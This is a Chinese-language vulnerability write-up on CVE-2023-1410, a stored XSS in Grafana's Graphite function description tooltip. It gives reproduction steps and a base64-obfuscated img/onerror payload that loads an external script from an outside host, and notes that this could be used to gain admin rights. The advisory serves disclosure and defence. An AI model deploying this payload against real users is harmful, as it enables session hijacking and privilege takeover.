CVE-2023–1410:Graphite 函数描述工具提示中的存储型 XSS
2023-4-16 13:58:4 Author: Ots安全(查看原文) 阅读量:14 收藏

点击蓝字,关注我们

安装 Graphite 数据源后,可以在仪表板中使用此数据源。这具有使用函数的能力。选择函数后,将鼠标悬停在函数名称上时会出现一个小工具提示。

此工具提示将允许您从查询中删除所选函数或查看函数描述。但是,在将此描述添加到 DOM 时不会执行任何清理。

由于连接到公共数据源相对普遍,攻击者可能会托管一个 Graphite 实例,该实例的功能描述已更改,携带 XSS 有效载荷。

当用户在查询中使用它并无意中将鼠标悬停在功能描述上时,将执行攻击者控制的 XSS 负载。

例如,这可用于使攻击者成为管理员。

重现步骤:

1.创建您自己的 Graphite 实例。我通过跑步来做到这一点

make devenv sources=graphite

2. 现在启动您的 Graphite 容器的控制台并更改以下文件。

/opt/graphite/webapp/graphite/render/functions.py

3.你可以使用任何功能,但是我选择aggregateSeriesLists 功能。

4. 将其描述更改为:

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

5. 结果如下:

def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):"""                                                                              
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
"""if len(seriesListFirstPos) != len(seriesListSecondPos): raise InputParameterError( "seriesListFirstPos and seriesListSecondPos argument must have equal length") results = []
for i in range(0, len(seriesListFirstPos)): firstSeries = seriesListFirstPos[i] secondSeries = seriesListSecondPos[i] aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) if not aggregated: # empty list, no data found continue result = aggregated[0] # aggregate() can only return len 1 list result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name) results.append(result) return results

aggregateSeriesLists.group = 'Combine'aggregateSeriesLists.params = [ Param('seriesListFirstPos', ParamTypes.seriesList, required=True), Param('seriesListSecondPos', ParamTypes.seriesList, required=True), Param('func', ParamTypes.aggFunc, required=True), Param('xFilesFactor', ParamTypes.float), ]

6. 保存并退出文件。重新启动您的 Graphite 容器。

7. 以组织管理员身份登录到您的 Grafana 实例。

8.导航到http://[grafana]/plugins/graphite并点击Create a Graphite data source

9. 输入攻击者的 Graphite 实例的 url(您可能想要激活 Skip SSL Check),然后单击 Save & Test and Explore。

10、在新打开的页面点击Functions旁边的Add图标,然后搜索aggregateSeriesLists并点击添加。

11.将光标悬停在 aggregateSeriesLists 上方,然后将其移动到?图标。

payload 将被触发,在这种情况下,它将包含一个外部脚本,该脚本将导致触发警报。

影响:

当然,攻击者会通过将其所有描述替换为 XSS 负载来增加机会。

如上所示,攻击者现在可以在受害者的浏览器中执行任意 Javascript。

受害者可以是在查询中(或在探索时)使用恶意 Graphite 实例的任何用户,包括组织管理员。

如果是这种情况,攻击者可能会插入一个有效负载,允许他们自己添加为管理员。

点击此处“阅读全文”查看更多内容

文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497276&idx=2&sn=046f415d21e3ac7587b52c412e199cd5&chksm=9badbf77acda366175d173a8d514729015c273dcdbb2ad44800593b653342875ef3ba79d338c#rd
如有侵权请联系:admin#unsafe.sh